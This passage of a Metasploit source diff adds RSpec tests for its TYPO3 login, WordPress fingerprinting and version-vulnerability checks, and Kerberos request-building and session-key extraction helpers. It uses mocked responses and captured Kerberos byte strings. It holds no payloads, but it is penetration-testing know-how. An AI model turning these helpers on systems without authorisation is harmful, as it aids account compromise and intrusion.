'GET' + res = Rex::Proto::Http::Response.new + res.body = '<input type="hidden" id="rsa_e" name="e" value="10001" />' + res.body << '<input type="hidden" id="rsa_n" name="n" value="B8C58D75B5F9DBCEBBF6FB96BDB9531C64C45DDED56D93B310FA9C79B9787E62C91157DD5842B2BC1D90C10251300571BEEF892776F25EAC80C2672A993B00DA2F1C966C3F70418274E1AC9C432F48F8CBD9D083F990905F7EC5BDFC1B5C93672E7ACBB3D935D0597864A1F732DD44B5C6E02344917543E33A36D68915B26DC9" />' + elsif opts['uri'] == "/typo3/index.php" && opts['method'] == 'POST' + res = Rex::Proto::Http::Response.new + res.headers['Set-Cookie'] = "#{valid_cookie};" + elsif opts['uri'] == "/typo3/backend.php" && opts['method'] == 'GET' + res = Rex::Proto::Http::Response.new + res.body = '<body class="test" id="typo3-backend-php">' + res + else + res = Rex::Proto::Http::Response::E404.new + end + + res + end + + expect(subject.typo3_backend_login(valid_user, valid_password)).to include(valid_cookie) + end + end + +end diff --git a/spec/lib/msf/http/wordpress/base_spec.rb b/spec/lib/msf/http/wordpress/base_spec.rb new file mode 100644 index 0000000000..596042370e --- /dev/null +++ b/spec/lib/msf/http/wordpress/base_spec.rb @@ -0,0 +1,57 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit' +require 'rex/proto/http/response' +require 'msf/http/wordpress' + +describe Msf::HTTP::Wordpress::Base do + subject do + mod = ::Msf::Exploit.new + mod.extend ::Msf::HTTP::Wordpress + mod.send(:initialize) + mod + end + + describe '#wordpress_and_online?' do + before :each do + allow(subject).to receive(:send_request_cgi) do + res = Rex::Proto::Http::Response.new + res.code = wp_code + res.body = wp_body + res + end + end + + let(:wp_code) { 200 } + + context 'when wp-content in body' do + let(:wp_body) { '<a href="http://domain.com/wp-content/themes/a/style.css">' } + it { expect(subject.wordpress_and_online?).to be_kind_of Rex::Proto::Http::Response } + end + + context 'when wlwmanifest in body' do + let(:wp_body) { '<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="https://domain.com/wp-includes/wlwmanifest.xml" />' } + it { expect(subject.wordpress_and_online?).to be_kind_of Rex::Proto::Http::Response } + end + + context 'when pingback in body' do + let(:wp_body) { '<link rel="pingback" href="https://domain.com/xmlrpc.php" />' } + it { expect(subject.wordpress_and_online?).to be_kind_of Rex::Proto::Http::Response } + end + + context 'when status code != 200' do + let(:wp_body) { nil } + let(:wp_code) { 404 } + it { expect(subject.wordpress_and_online?).to be_nil } + end + + context 'when no match in body' do + let(:wp_body) { 'Invalid body' } + it { expect(subject.wordpress_and_online?).to be_nil } + end + + end + +end diff --git a/spec/lib/msf/http/wordpress/login_spec.rb b/spec/lib/msf/http/wordpress/login_spec.rb new file mode 100644 index 0000000000..6b726fa710 --- /dev/null +++ b/spec/lib/msf/http/wordpress/login_spec.rb @@ -0,0 +1,73 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit' +require 'rex/proto/http/response' +require 'msf/http/wordpress' + +describe Msf::HTTP::Wordpress::Login do + subject do + mod = ::Msf::Exploit.new + mod.extend ::Msf::HTTP::Wordpress + mod.send(:initialize) + mod + end + + describe '#wordpress_login' do + before :each do + allow(subject).to receive(:send_request_cgi) do |opts| + res = Rex::Proto::Http::Response.new + res.code = 301 + if wp_redirect + res['Location'] = wp_redirect + else + res['Location'] = opts['vars_post']['redirect_to'] + end + res['Set-Cookie'] = wp_cookie + res.body = 'My Homepage' + res + end + end + + let(:wp_redirect) { nil } + + context 'when current Wordpress' do + let(:wp_cookie) { 'wordpress_logged_in_1234=1234;' } + it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) } + end + + context 'when current Wordpress sec cookie' do + let(:wp_cookie) { 'wordpress_sec_logged_in_1234=1234;' } + it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) } + end + + context 'when Wordpress 2.5' do + let(:wp_cookie) { 'wordpress_asdf=1234;' } + it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) } + end + + context 'when Wordpress 2.0 user cookie' do + let(:wp_cookie) { 'wordpressuser_1234=1234;' } + it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) } + end + + context 'when Wordpress 2.0 pass cookie' do + let(:wp_cookie) { 'wordpresspass_1234=1234;' } + it { expect(subject.wordpress_login('user', 'pass')).to eq(wp_cookie) } + end + + context 'when invalid login' do + let(:wp_cookie) { 'invalid=cookie;' } + it { expect(subject.wordpress_login('invalid', 'login')).to be_nil } + end + + context 'when invalid redirect' do + let(:wp_cookie) { 'invalid=cookie;' } + let(:wp_redirect) { '/invalid/redirect' } + it { expect(subject.wordpress_login('invalid', 'login')).to be_nil } + end + + end + +end diff --git a/spec/lib/msf/http/wordpress/version_spec.rb b/spec/lib/msf/http/wordpress/version_spec.rb new file mode 100644 index 0000000000..9b14190967 --- /dev/null +++ b/spec/lib/msf/http/wordpress/version_spec.rb @@ -0,0 +1,150 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit' +require 'rex/proto/http/response' +require 'msf/http/wordpress' + +describe Msf::HTTP::Wordpress::Version do + subject do + mod = ::Msf::Exploit.new + mod.extend ::Msf::HTTP::Wordpress + mod.send(:initialize) + mod + end + + describe '#wordpress_version' do + before :each do + allow(subject).to receive(:send_request_cgi) do |opts| + res = Rex::Proto::Http::Response.new + res.code = 200 + res.body = wp_body + res + end + end + + let(:wp_version) { + r = Random.new + "#{r.rand(10)}.#{r.rand(10)}.#{r.rand(10)}" + } + + context 'when version from generator' do + let(:wp_body) { '<meta name="generator" content="WordPress ' << wp_version << '" />' } + it { expect(subject.wordpress_version).to eq(wp_version) } + end + + context 'when version from readme' do + let(:wp_body) { " <br /> Version #{wp_version}" } + it { expect(subject.wordpress_version).to eq(wp_version) } + end + + context 'when version from rss' do + let(:wp_body) { "<generator>http://wordpress.org/?v=#{wp_version}</generator>" } + it { expect(subject.wordpress_version).to eq(wp_version) } + end + + context 'when version from rdf' do + let(:wp_body) { '<admin:generatorAgent rdf:resource="http://wordpress.org/?v=' << wp_version << '" />' } + it { expect(subject.wordpress_version).to eq(wp_version) } + end + + context 'when version from atom' do + let(:wp_body) { '<generator uri="http://wordpress.org/" version="' << wp_version << '">WordPress</generator>' } + it { expect(subject.wordpress_version).to eq(wp_version) } + end + + context 'when version from sitemap' do + let(:wp_body) { '<!-- generator="WordPress/' << wp_version << '" -->' } + it { expect(subject.wordpress_version).to eq(wp_version) } + end + + context 'when version from opml' do + let(:wp_body) { '<!-- generator="WordPress/' << wp_version << '" -->' } + it { expect(subject.wordpress_version).to eq(wp_version) } + end + + end + + describe '#check_version_from_readme' do + before :each do + allow(subject).to receive(:send_request_cgi) do |opts| + res = Rex::Proto::Http::Response.new + res.code = wp_code + res.body = wp_body + res + end + end + + let(:wp_code) { 200 } + let(:wp_body) { nil } + let(:wp_fixed_version) { nil } + + context 'when no readme is found' do + let(:wp_code) { 404 } + it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Unknown) } + end + + context 'when no version can be extracted from readme' do + let(:wp_code) { 200 } + let(:wp_body) { 'invalid content' } + it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Detected) } + end + + context 'when version from readme has arbitrary leading whitespace' do + let(:wp_code) { 200 } + let(:wp_fixed_version) { '1.0.1' } + let(:wp_body) { 'stable tag: 1.0.0' } + it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) } + let(:wp_body) { 'stable tag:1.0.0' } + it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) } + end + + context 'when installed version is vulnerable' do + let(:wp_code) { 200 } + let(:wp_fixed_version) { '1.0.1' } + let(:wp_body) { 'stable tag: 1.0.0' } + it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) } + end + + context 'when installed version is not vulnerable' do + let(:wp_code) { 200 } + let(:wp_fixed_version) { '1.0.1' } + let(:wp_body) { 'stable tag: 1.0.2' } + it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) } + end + + context 'when installed version is vulnerable (version range)' do + let(:wp_code) { 200 } + let(:wp_fixed_version) { '1.0.2' } + let(:wp_introd_version) { '1.0.0' } + let(:wp_body) { 'stable tag: 1.0.1' } + it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Appears) } + end + + context 'when installed version is older (version range)' do + let(:wp_code) { 200 } + let(:wp_fixed_version) { '1.0.1' } + let(:wp_introd_version) { '1.0.0' } + let(:wp_body) { 'stable tag: 0.0.9' } + it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) } + end + + context 'when installed version is newer (version range)' do + let(:wp_code) { 200 } + let(:wp_fixed_version) { '1.0.1' } + let(:wp_introd_version) { '1.0.0' } + let(:wp_body) { 'stable tag: 1.0.2' } + it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) } + end + + context 'when installed version is newer (text in version number)' do + let(:wp_code) { 200 } + let(:wp_fixed_version) { '1.5.3' } + let(:wp_body) { 'Stable tag: 2.0.0-beta1' } + it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) } + end + + end + +end diff --git a/spec/lib/msf/kerberos/client/as_request_spec.rb b/spec/lib/msf/kerberos/client/as_request_spec.rb new file mode 100644 index 0000000000..0bb19abe6d --- /dev/null +++ b/spec/lib/msf/kerberos/client/as_request_spec.rb @@ -0,0 +1,84 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' +require 'msf/kerberos/client' + +describe Msf::Kerberos::Client::AsRequest do + subject do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Kerberos::Client + mod.send(:initialize) + mod + end + + let(:body_opts) do + { + :realm => 'DOMAIN' + } + end + + let(:time_opts) do + { + :pausec => 123456 + } + end + + describe "#build_as_request_body" do + context "when no opts" do + it "creates a Rex::Proto::Kerberos::Model::KdcRequestBody" do + expect(subject.build_as_request_body).to be_a(Rex::Proto::Kerberos::Model::KdcRequestBody) + end + + it "initializes the KdcRequestBody with default values" do + expect(subject.build_as_request_body.realm).to eq('') + end + end + + context "when opts" do + it "creates a Rex::Proto::Kerberos::Model::KdcRequestBody" do + expect(subject.build_as_request_body(body_opts)).to be_a(Rex::Proto::Kerberos::Model::KdcRequestBody) + end + + it "initializes the KdcRequestBody with opts when available" do + expect(subject.build_as_request_body(body_opts).realm).to eq('DOMAIN') + end + end + end + + describe "#build_as_pa_time_stamp" do + it "creates a Rex::Proto::Kerberos::Model::PreAuthData" do + expect(subject.build_as_pa_time_stamp).to be_a(Rex::Proto::Kerberos::Model::PreAuthData) + end + + it "creates a PA_ENC_TIMESTAMP PreAuthData" do + expect(subject.build_as_pa_time_stamp.type).to eq(Rex::Proto::Kerberos::Model::PA_ENC_TIMESTAMP) + end + end + + describe "#build_as_request" do + context "when no opts" do + it "creates a Rex::Proto::Kerberos::Model::KdcRequest" do + expect(subject.build_as_request).to be_a(Rex::Proto::Kerberos::Model::KdcRequest) + end + + it "initializes the KdcRequest with default values" do + expect(subject.build_as_request.req_body.realm).to eq('') + end + end + + context "when opts" do + it "creates a Rex::Proto::Kerberos::Model::KdcRequest" do + body = subject.build_as_request_body(body_opts) + expect(subject.build_as_request(body: body)).to be_a(Rex::Proto::Kerberos::Model::KdcRequest) + end + + it "initializes the KdcRequest with opts when available" do + body = subject.build_as_request_body(body_opts) + expect(subject.build_as_request(body: body).req_body.realm).to eq('DOMAIN') + end + end + end + +end + diff --git a/spec/lib/msf/kerberos/client/as_response_spec.rb b/spec/lib/msf/kerberos/client/as_response_spec.rb new file mode 100644 index 0000000000..68584e7156 --- /dev/null +++ b/spec/lib/msf/kerberos/client/as_response_spec.rb @@ -0,0 +1,201 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' +require 'msf/kerberos/client' + +describe Msf::Kerberos::Client::AsResponse do + subject do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Kerberos::Client + mod.send(:initialize) + mod + end + + let(:as_response) do + "\x6b\x82\x02\x52\x30\x82\x02\x4e\xa0\x03\x02\x01\x05\xa1\x03\x02" + + "\x01\x0b\xa3\x0c\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c" + + "\xa4\x11\x30\x0f\xa0\x03\x02\x01\x01\xa1\x08\x30\x06\x1b\x04\x6a" + + "\x75\x61\x6e\xa5\x82\x01\x10\x61\x82\x01\x0c\x30\x82\x01\x08\xa0" + + "\x03\x02\x01\x05\xa1\x0c\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43" + + "\x41\x4c\xa2\x1f\x30\x1d\xa0\x03\x02\x01\x01\xa1\x16\x30\x14\x1b" + + "\x06\x6b\x72\x62\x74\x67\x74\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f" + + "\x43\x41\x4c\xa3\x81\xd1\x30\x81\xce\xa0\x03\x02\x01\x17\xa1\x03" + + "\x02\x01\x02\xa2\x81\xc1\x04\x81\xbe\xa1\xd4\x74\xe2\x82\xe3\x7f" + + "\xdf\x57\x02\x94\xee\x83\xd7\xcf\x60\xee\xd0\x5d\xad\x4d\x63\x80" + + "\xf4\xc5\x06\x14\xa4\x01\xbf\x49\x40\x52\x2a\x5b\xcf\xa4\xf7\x3d" + + "\x71\xd0\xba\xe4\xc0\x4e\xab\xc9\x4b\x2a\x30\x57\x8e\xad\x0c\x15" + + "\xa4\x19\xb8\xe3\x8a\x86\xd6\xf9\x92\x10\xfe\xc5\x18\xcf\xf5\x06" + + "\x4b\x3b\x8f\x8e\x29\xcf\x02\x82\x73\xa2\xcb\x41\x64\x07\x59\x7d" + + "\xf1\xaf\xe5\xa6\xeb\x2f\xa0\x35\x1a\x42\x5d\x4a\xbf\xda\xab\xcb" + + "\x6d\x10\x58\x12\xa2\xff\x16\x50\xe3\x81\x17\x08\x1d\x9b\x4c\x8b" + + "\x8b\x2b\xf2\x0c\xfd\x88\xb9\x32\xfb\x34\xb1\xa1\xc4\x56\x48\x99" + + "\x7d\x5c\x52\x11\x1f\x73\x7e\x48\x15\x2e\xf2\xc8\x74\xb2\x63\x9e" + + "\x73\x6c\x63\x4c\x68\x83\x02\x77\xc2\xbb\x8d\x6b\x4f\x1d\x96\xa8" + + "\x05\x10\x47\x85\xe8\xba\x1d\x9c\x88\xd1\x62\xa4\x10\xda\x50\x84" + + "\x8d\x96\x8d\x28\xad\x51\x60\xa6\x82\x01\x0b\x30\x82\x01\x07\xa0" + + "\x03\x02\x01\x17\xa1\x03\x02\x01\x01\xa2\x81\xfa\x04\x81\xf7\x2b" + + "\x3e\xa6\x75\x42\x1d\x77\x6b\xb8\xc0\x70\x0b\x1f\x45\x73\xc2\x7b" + + "\xcb\xaf\x52\x57\x23\xbe\xea\x6e\x5f\x94\xbc\x47\xe4\x90\xca\x46" + + "\x88\x13\xb5\x65\x8a\x80\x2b\xef\xbd\x60\x6a\xea\xdc\xa2\x6e\x85" + + "\x38\xb9\x6a\x2e\x87\x40\x9a\x24\xe9\xb8\xf9\x9b\x60\xf5\x27\x56" + + "\x5d\xe4\xf2\x86\x80\x26\x20\x17\xa8\x68\x8b\xf5\x15\xce\x82\xc9" + + "\x86\x5a\x23\xe8\x55\x2d\x24\x4a\xfd\x02\x85\xe6\xb9\x0e\x55\x7e" + + "\x76\x14\xc6\xbc\xbb\x0f\xb1\x7f\x94\xe7\x3f\x30\xf9\xcc\x49\xba" + + "\x7e\xe4\xa6\x78\x03\x05\x2e\xd7\x6a\xa7\x29\x69\xf9\x2e\x2e\xd2" + + "\xb5\x07\x22\x02\x16\xa6\xb1\x81\x32\xe1\x1a\x88\x4d\x96\xa0\xbc" + + "\x39\x28\x90\x06\x59\x05\xe4\xcd\x7b\x9d\xa5\xe1\x35\x2d\x66\x4f" + + "\x28\x72\xca\xa8\x0b\xb6\xe7\x3d\xe3\x59\x86\x85\x74\x6a\x0a\xa4" + + "\x6a\x8e\x68\xb3\x92\x16\x05\x37\x74\xc6\x0b\x8d\x68\xe6\x74\x33" + + "\x64\x0d\x4a\x3b\x04\x4c\x38\xd5\xaf\x7e\xb6\x9c\x68\xea\x8d\x8f" + + "\x7a\xc3\xc8\x65\x8b\x24\x0b\xf4\xd3\x69\x52\x4e\x9b\xa0\x09\xc4" + + "\x3d\x1a\x86\x78\x0e\x31\xef\x5e\x75\xe0\x0b\x27\x78\x5e\xe4\x4b" + + "\xae\x16\xf5\x29\xee\xaf" + end + + let(:tgs_response) do + "\x6d\x82\x04\xad\x30\x82\x04\xa9\xa0\x03\x02\x01\x05\xa1\x03\x02" + + "\x01\x0d\xa3\x0c\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c" + + "\xa4\x11\x30\x0f\xa0\x03\x02\x01\x01\xa1\x08\x30\x06\x1b\x04\x6a" + + "\x75\x61\x6e\xa5\x82\x03\x85\x61\x82\x03\x81\x30\x82\x03\x7d\xa0" + + "\x03\x02\x01\x05\xa1\x0c\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43" + + "\x41\x4c\xa2\x1f\x30\x1d\xa0\x03\x02\x01\x01\xa1\x16\x30\x14\x1b" + + "\x06\x6b\x72\x62\x74\x67\x74\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f" + + "\x43\x41\x4c\xa3\x82\x03\x45\x30\x82\x03\x41\xa0\x03\x02\x01\x17" + + "\xa1\x03\x02\x01\x02\xa2\x82\x03\x33\x04\x82\x03\x2f\x25\x3d\x74" + + "\x47\xc7\x96\x38\xb3\xc3\xad\x6c\x0a\x35\x9d\xd3\x56\xf2\x26\x16" + + "\x69\x7b\x2b\xe3\x70\xe6\x65\xf2\x89\x5d\x8e\x90\x00\x9e\xf7\xc7" + + "\x54\x66\xab\xdd\xd9\xf8\x1d\x96\xf9\x89\x7f\x3b\x1f\x9f\x28\xa1" + + "\xec\xee\x05\xd3\x8e\x29\xd6\xcf\xf8\x7b\x4e\x50\x31\x3a\xc0\x7e" + + "\xcd\xcc\x1c\x65\xe1\x34\xb8\x3c\xa1\xe0\x8d\x0b\x05\xbf\xe0\x42" + + "\x89\xf0\xcd\x58\x09\x4f\xa8\xb3\xef\x94\x0f\x2d\xa2\xcd\xda\x72" + + "\xa9\x16\x1a\x9f\x0d\xe3\x9e\xcc\x5a\x3a\xe5\x62\x05\x46\x87\x3b" + + "\xb9\x4e\xa5\xe8\xbf\x08\x8e\x44\x91\x6f\x83\xfe\x37\x50\xf5\xc5" + + "\x9c\x2a\x67\x2b\xe7\x76\xa8\x3e\xbf\x40\x43\x5d\xc4\x24\x3d\x59" + + "\x1c\x62\xdf\x08\x61\x41\x06\xf6\xf0\xd1\xeb\xaa\x30\x23\xd4\xaa" + + "\xf3\x8c\xd5\x9f\x8b\x48\xcd\xd1\xbe\x35\xe2\x93\x3b\xbc\xd8\xaa" + + "\x72\xf2\xef\xb7\xa6\xea\x5a\xca\x80\x51\x69\x4e\x9f\x6b\xf3\xaf" + + "\xd0\x06\x13\x70\xe5\x13\xfc\x3e\xdf\xc3\xb2\xbb\x7c\x40\xfa\xe3" + + "\x2f\xaf\xe6\xcb\x9d\xf6\xc9\x3a\x33\x2a\xca\x73\x75\x2b\x2a\x4a" + + "\x15\x06\x93\x3b\x74\xfa\x7d\x61\x88\xbc\x72\x54\xc5\xd3\x2d\xb0" + + "\xa5\xd9\xa9\xb5\xc5\xf7\x05\xc7\x61\x93\x6b\x4b\x04\x54\x4c\x44" + + "\x98\x07\x8a\x9b\xda\xcb\x00\xfa\x30\xb1\x35\x91\x37\x54\xf0\xdb" + + "\x77\x82\x3f\xc4\xb1\xcd\xaa\x76\x4d\x93\x4f\xd4\xe6\x74\x4d\x17" + + "\x11\xa2\xcd\xdf\x46\xbb\x56\x0f\x3a\x5a\xcd\x95\x1c\xd7\x12\x59" + + "\x23\x21\x4a\x0e\x09\xe8\xac\xbc\x1a\x10\x09\x3c\x04\x97\x5a\xfd" + + "\xe6\x2b\xcd\xe3\x9a\x97\x37\x67\x76\x19\xe8\x9c\xe2\x01\xa0\x42" + + "\x7d\x97\x86\xc5\xb0\x87\xb8\x36\x04\x2a\x8d\x4c\x30\x89\xf4\x4d" + + "\xc1\x14\xd3\xd4\x8f\xfd\x4e\x28\x9d\x33\x1b\x42\xd0\x58\x0b\x87" + + "\x2e\x87\xd5\x06\x66\x72\xb2\xa9\x1f\x94\x91\x67\xd4\x63\x89\x53" + + "\x57\x66\x6a\x88\x59\x42\x8b\x03\x87\xe7\x88\xa0\x8c\x51\xe2\x48" + + "\xf3\xb7\xe0\xd3\x2e\x58\xd7\xbc\xc7\xe1\x1d\xfa\x4b\xa9\xe7\x7b" + + "\xab\x0e\x1c\x48\x2f\x98\xf3\xb7\x5c\x44\xa0\xdf\xf0\xa3\xfd\x5f" + + "\xd4\xd2\xc4\xfc\xe6\xd6\x15\xd4\x73\xb8\x63\x8c\x3b\x42\x30\xb4" + + "\x21\x51\x61\x40\x97\x0f\xe4\xaf\x52\xd2\x09\xbf\x23\x1d\x0c\xcc" + + "\xbb\xc2\x4b\x86\xc1\xca\x14\xee\x90\x6c\xa6\x5c\x96\x10\x73\x90" + + "\x98\x63\xfd\x71\x3a\xaf\x1f\x60\x19\xec\xe4\xba\x6b\xf6\x0d\x89" + + "\x12\x5d\xd9\xa8\xcb\x1a\x7a\x89\x45\xfb\xa4\xaf\x52\xb5\x0b\x9b" + + "\xf4\x86\x04\xa3\xb5\xe7\xba\xe0\x19\x4a\xc6\x05\x78\xa7\x6d\xbd" + + "\x86\xe1\x99\x76\x0b\x11\x31\x16\xa8\x7a\x01\x44\x2d\xbc\x58\xd5" + + "\xc4\xc1\xd8\x9d\x49\x8a\xa5\xda\x78\x34\x3c\x81\x11\x31\xaa\x85" + + "\x9f\xf8\xad\x3b\xe0\x29\x48\xf3\x80\x08\x48\x1e\xc3\x53\x02\x06" + + "\xe2\x2c\x71\x96\xef\xca\x3b\xee\x0a\x64\xf6\x08\xeb\xbd\xc2\xf0" + + "\xa9\xd4\x2e\x08\xd1\x57\x0d\x0b\xf7\x09\x22\x01\xa2\xb3\xa7\x78" + + "\xe2\x06\x8e\x2e\xf3\x53\x32\x5b\x45\xb1\x0d\xc6\x61\xb8\x4c\x75" + + "\x07\x9a\x8b\x58\x53\xca\xb0\x83\x8f\x43\xb7\x24\xed\xff\x51\x81" + + "\xd0\x33\xa6\x9f\x73\x2b\xc4\x67\xa2\x60\x9c\xc1\xcb\xa1\x60\xf2" + + "\x88\xc1\xe3\xc7\x9b\x05\x2f\x02\x0d\x2d\x6e\x0b\x31\xe4\x61\x68" + + "\xa5\x87\x8e\x7c\x8b\xd7\x87\x8a\x3c\xf5\x90\x6e\x97\x5f\xa3\x50" + + "\x30\xe9\xd2\x30\xb3\x6e\xda\x84\x40\x02\x46\x84\x2c\x09\x19\x72" + + "\x0b\xa0\xce\x5e\x45\xad\xcd\x3e\x15\x3c\x34\xba\x8d\xc7\xfc\x3f" + + "\xf3\xf7\x37\xae\x49\xd7\x1d\x9b\x30\x4a\xc1\x1f\x15\x07\xd2\xda" + + "\xb8\x7b\xe3\x9a\xe7\xb5\xeb\xb2\x8b\xb6\x17\x1a\xab\x31\xce\xec" + + "\xed\xe6\xab\xd5\x4c\xb6\x57\x88\xb0\x5d\x41\x09\x61\x34\x76\x47" + + "\x7e\x93\xef\xc6\x01\x1b\x4b\x85\x0e\xe0\x92\xec\xd1\x1f\x13\xba" + + "\x86\x6e\x67\xa2\xbb\xa1\xdd\x52\x42\x63\x45\x7d\x5f\xd2\xf9\x83" + + "\x57\x1d\x85\xc4\xba\x39\x7d\xc7\x24\xd7\x2d\xd4\xa6\x81\xf2\x30" + + "\x81\xef\xa0\x03\x02\x01\x17\xa2\x81\xe7\x04\x81\xe4\xdf\xff\xa1" + + "\xce\x19\xe6\x14\x06\x47\x01\xc1\xb0\x57\x24\xa8\xce\x7f\xb7\x21" + + "\xe5\x8e\x47\xa8\x8e\x8c\xca\xd9\x57\x0f\xf1\xf7\x09\x8f\x8c\x55" + + "\x2d\xad\x62\x2e\xb0\xf5\x2f\xe4\xc4\x5e\xb5\x60\xde\x4f\xa7\x84" + + "\xbc\x75\x02\xa6\x97\xfa\x68\x67\x1d\xed\xba\x4a\x49\x21\xf9\x93" + + "\x5b\xd8\x8c\xce\xe2\x0a\x80\xc4\x0d\xc7\xc7\x2c\xdd\x4f\x74\x33" + + "\xd5\xa7\x40\xf3\x5a\x07\x49\x40\x47\x1c\x30\xef\x82\xfd\x11\x28" + + "\xa9\x13\xd4\x63\x48\xe3\x5b\xda\x15\xc9\x73\xb2\xc3\x25\xc9\x71" + + "\x24\x06\x3d\x87\x5e\x46\xbb\xd6\xb1\x99\x18\x4b\x70\xbd\x3c\x0e" + + "\xda\xba\x7a\x50\x52\x23\x75\x10\x93\x06\xce\xfb\x32\xc2\xbb\x35" + + "\x48\xc3\xc3\xc2\xd9\x30\xe3\x40\xc6\xc7\x67\x90\x29\xdc\x5d\xcb" + + "\x92\x58\x45\x04\x07\x0e\xba\xce\x8b\xa0\x7e\x62\x20\xbf\x2d\x5c" + + "\xbd\xb9\xc8\x61\x25\x77\x80\x60\xd1\xd5\x29\x18\x92\x17\x41\x3a" + + "\x3f\x42\xcb\xd1\x57\x25\x06\x8b\x2d\x74\x15\x63\x54\x7f\xa9\xb0" + + "\x73\x2b\x40\x63\x06\x47\xbe\x03\xf6\x37\x97\xe9\x24\x23\xc0\x38" + + "\x62" + end + + let(:valid_key) { OpenSSL::Digest.digest('MD4', Rex::Text.to_unicode('juan')) } + let(:invalid_key) { OpenSSL::Digest.digest('MD4', Rex::Text.to_unicode('invalid')) } + let(:session_key) { "\x6b\xac\x15\x88\xb5\x36\x47\xfe\x9b\xbb\x07\x7a\xa8\x9d\xac\xe0" } + + describe "#extract_session_key" do + context "when extracting from an AS response" do + context "when using a valid key" do + it "returns the extracted Rex::Proto::Kerberos::Model::EncryptionKey" do + response = Rex::Proto::Kerberos::Model::KdcResponse.decode(as_response) + expect(subject.extract_session_key(response, valid_key)).to be_a(Rex::Proto::Kerberos::Model::EncryptionKey) + end + + it "extracts the correct key" do + response = Rex::Proto::Kerberos::Model::KdcResponse.decode(as_response) + key = subject.extract_session_key(response, valid_key) + expect(key.value).to eq(session_key) + end + end + + context "when using an invalid key" do + it "raises RuntimeError" do + response = Rex::Proto::Kerberos::Model::KdcResponse.decode(as_response) + expect { subject.extract_session_key(response, invalid_key) }.to raise_error(RuntimeError) + end + end + end + + context "when extracting from a TGS response" do + it "raises RuntimeError" do + response = Rex::Proto::Kerberos::Model::KdcResponse.decode(tgs_response) + expect { subject.extract_session_key(response, valid_key) }.to raise_error(RuntimeError) + end + end + end + + describe "#extract_logon_time" do + context "when extracting from an AS response" do + context "when using a valid key" do + it "returns the extracted Rex::Proto::Kerberos::CredentialCache::Cache" do + response = Rex::Proto::Kerberos::Model::KdcResponse.decode(as_response) + expect(subject.extract_logon_time(response, valid_key)).to be_a(Fixnum) + end + + it "extracts the correct time" do + response = Rex::Proto::Kerberos::Model::KdcResponse.decode(as_response) + time = subject.extract_logon_time(response, valid_key) + expect(time).to eq(1419128917) + end + end + + context "when using an invalid key" do + it "raises RuntimeError" do + response = Rex::Proto::Kerberos::Model::KdcResponse.decode(as_response) + expect { subject.extract_logon_time(response, invalid_key) }.to raise_error(RuntimeError) + end + end + end + + context "when extracting from a TGS response" do + it "raises RuntimeError" do + response = Rex::Proto::Kerberos::Model::KdcResponse.decode(tgs_response) + expect { subject.extract_logon_time(response, valid_key) }.to raise_error(RuntimeError) + end + end + end +end + diff --git a/spec/lib/msf/kerberos/client/base_spec.rb b/spec/lib/msf/kerberos/client/base_spec.rb new file mode 100644 index 0000000000..cb1f03a495 --- /dev/null +++ b/spec/lib/msf/kerberos/client/base_spec.rb @@ -0,0 +1,98 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' +require 'msf/kerberos/client' + +describe Msf::Kerberos::Client::Base do + subject do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Kerberos::Client + mod.send(:initialize) + mod + end + + let(:client_opts) do + { + :name_type => Rex::Proto::Kerberos::Model::NT_PRINCIPAL, + :client_name => 'test' + } + end + + let(:server_opts) do + { + :name_type => Rex::Proto::Kerberos::Model::NT_PRINCIPAL, + :server_name => 'krbtgt/DOMAIN' + } + end + + describe "#build_client_name" do + context "when no opts" do + it "create a Rex::Proto::Kerberos::Model::PrincipalName" do + expect(subject.build_client_name).to be_a(Rex::Proto::Kerberos::Model::PrincipalName) + end + + it "creates a PrincipalName with empty name_String" do + client_name = subject.build_client_name + expect(client_name.name_string).to eq([]) + end + + it "creates a NT_PRINCIPAL type PrincipalName" do + client_name = subject.build_client_name + expect(client_name.name_type).to eq(Rex::Proto::Kerberos::Model::NT_PRINCIPAL) + end + end + + context "when opts" do + it "create a Rex::Proto::Kerberos::Model::PrincipalName" do + expect(subject.build_server_name(client_opts)).to be_a(Rex::Proto::Kerberos::Model::PrincipalName) + end + + it "builds name_string from opts" do + client_name = subject.build_client_name(client_opts) + 